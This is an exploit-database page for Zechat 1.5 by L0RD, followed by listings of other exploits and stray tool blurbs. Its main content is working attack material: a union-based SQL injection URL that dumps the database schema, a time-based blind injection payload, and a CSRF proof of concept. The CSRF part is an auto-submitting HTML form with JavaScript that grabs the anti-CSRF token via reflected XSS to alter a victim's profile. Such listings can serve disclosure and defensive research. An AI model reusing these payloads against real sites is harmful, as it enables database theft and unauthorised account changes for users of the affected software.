Menu

Search for hundreds of thousands of exploits

"Zechat 1.5 - SQL Injection / Cross-Site Request Forgery"

Author

Exploit author

L0RD

Platform

Exploit platform

php

Release date

Exploit published date

2018-05-22

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# Exploit Title: Zechat 1.5 - 'hashtag' / 'v' SQL Injection / Cross site request forgery
# Date: 2018-05-22
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://bylancer.com
# Version: 1.5
# Tested on: Kali linux
====================================================
# POC 1 : SQLi :

Parameter : hashtag
    type : Union based

http://test.com/chat/hashtag?hashtag=[SQL]

# test :
http://test.com/chat/hashtag?hashtag=-1%27%20UNION%20SELECT%20NULL,unhex(hex(group_concat(table_name,0x3C62723E,column_name))),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20information_schema.columns%20where%20table_schema=schema()%23

# Payload : -1' UNION SELECT
NULL,unhex(hex(group_concat(table_name,0x3C62723E,column_name))),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
from information_schema.columns where table_schema=schema()%23

====================================================

Parameter : v
    type : time-based blind

test.com/chat/me?action=edit&v=[SQL]

# test : test.com/chat/me?action=edit&v=231 AND sleep(10)%23

# Payload : AND sleep(10)%23

====================================================

# POC 2 : CSRF :

# CSRF vulnerability allows attacker to change user's information.
In this script we have anti-csrf which we can't change user's information
without token.
So we use 'hashtag' parameter to set our encoded payload and bypass csrf
protection : chat/hashtag?hashtag=[We have Reflected XSS here]

# Exploit :

  <form action="http://test.com/chat/data_settings.php" method="POST">
      <input type="hidden" name="csrf&#95;token" value="" />
      <input type="hidden" name="Wall"
value="Hello&#32;would&#32;you&#32;like&#32;to&#32;be&#32;my&#32;friend" />
      <input type="hidden" name="user" value="lord225" />
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="mail"
value="d3code&#46;n&#64;gmail&#46;com" />
      <input type="hidden" name="website" value="test" />
      <input type="hidden" name="sex" value="male" />
      <input type="hidden" name="country"
value="&#45;&#45;&#45;&#45;&#45;&#45;" />
      <input type="hidden" name="day" value="" />
      <input type="hidden" name="month" value="" />
      <input type="hidden" name="year" value="" />
      <input type="hidden" name="Language" value="en" />
    </form>

    <script>

var token = '';
  var req = new XMLHttpRequest();
  req.onreadystatechange = function(){
    if(this.readyState == 4 && this.status == 200){

          var setPage = this.responseXML;
          token = setPage.forms[1].elements[0].value; // get token
          console.log(token);
         }

  }
      req.open("POST","/chat/settings",true);

req.setRequestHeader("content-type","application/x-www-form-urlencoded");
      req.responseType = "document";
      req.send();

      document.forms[0].elements[0].value = token; // set token to our form
      document.forms[0].submit();

</script>

=====================================================
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2018-09-05 "Microsoft People 10.1807.2131.0 - Denial of service (PoC)" dos windows_x86-64 L0RD
2018-08-30 "Nord VPN 6.14.31 - Denial of Service (PoC)" dos windows_x86-64 L0RD
2018-08-29 "NASA openVSP 3.16.1 - Denial of Service (PoC)" dos windows_x86-64 L0RD
2018-08-27 "Firefox 55.0.3 - Denial of Service (PoC)" dos windows_x86-64 L0RD
2018-08-23 "Twitter-Clone 1 - 'code' SQL Injection" webapps php L0RD
2018-08-21 "Twitter-Clone 1 - Cross-Site Request Forgery (Delete Post)" webapps php L0RD
2018-08-21 "Twitter-Clone 1 - 'userid' SQL Injection" webapps php L0RD
2018-07-11 "Instagram-Clone Script 2.0 - Cross-Site Scripting" webapps php L0RD
2018-07-04 "Online Trade - Information Disclosure" webapps php L0RD
2018-07-04 "ShopNx - Arbitrary File Upload" webapps php L0RD
2018-06-18 "Joomla! Component Jomres 9.11.2 - Cross-Site Request Forgery (Add User)" webapps php L0RD
2018-06-12 "Joomla! Component EkRishta 2.10 - 'username' SQL Injection" webapps php L0RD
2018-06-07 "WampServer 3.0.6 - Cross-Site Request Forgery" webapps php L0RD
2018-06-03 "Smartshop 1 - 'id' SQL Injection" webapps php L0RD
2018-06-03 "Smartshop 1 - Cross-Site Request Forgery" webapps php L0RD
2018-05-29 "Facebook Clone Script 1.0.5 - 'search' SQL Injection" webapps php L0RD
2018-05-29 "Facebook Clone Script 1.0.5 - Cross-Site Request Forgery" webapps php L0RD
2018-05-28 "Joomla! Component Full Social 1.1.0 - 'search_query' SQL Injection" webapps php L0RD
2018-05-28 "Joomla! Component JoomOCShop 1.0 - Cross-Site Request Forgery" webapps php L0RD
2018-05-28 "Joomla! Component jCart for OpenCart 2.3.0.2 - Cross-Site Request Forgery" webapps php L0RD
2018-05-24 "Timber 1.1 - Cross-Site Request Forgery" webapps php L0RD
2018-05-23 "eWallet Online Payment Gateway 2 - Cross-Site Request Forgery" webapps php L0RD
2018-05-23 "Mcard Mobile Card Selling Platform 1 - SQL Injection" webapps php L0RD
2018-05-23 "Mobile Card Selling Platform 1 - Cross-Site Request Forgery" webapps php L0RD
2018-05-22 "iSocial 1.2.0 - Cross-Site Scripting / Cross-Site Request Forgery" webapps php L0RD
2018-05-22 "Auto Car 1.2 - 'car_title' SQL Injection / Cross-Site Scripting" webapps php L0RD
2018-05-22 "Zechat 1.5 - SQL Injection / Cross-Site Request Forgery" webapps php L0RD
2018-05-21 "Private Message PHP Script 2.0 - Cross-Site Scripting" webapps php L0RD
2018-05-21 "Wchat PHP AJAX Chat Script 1.5 - Cross-Site Scripting" webapps php L0RD
2018-05-21 "Superfood 1.0 - Multiple Vulnerabilities" webapps php L0RD
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.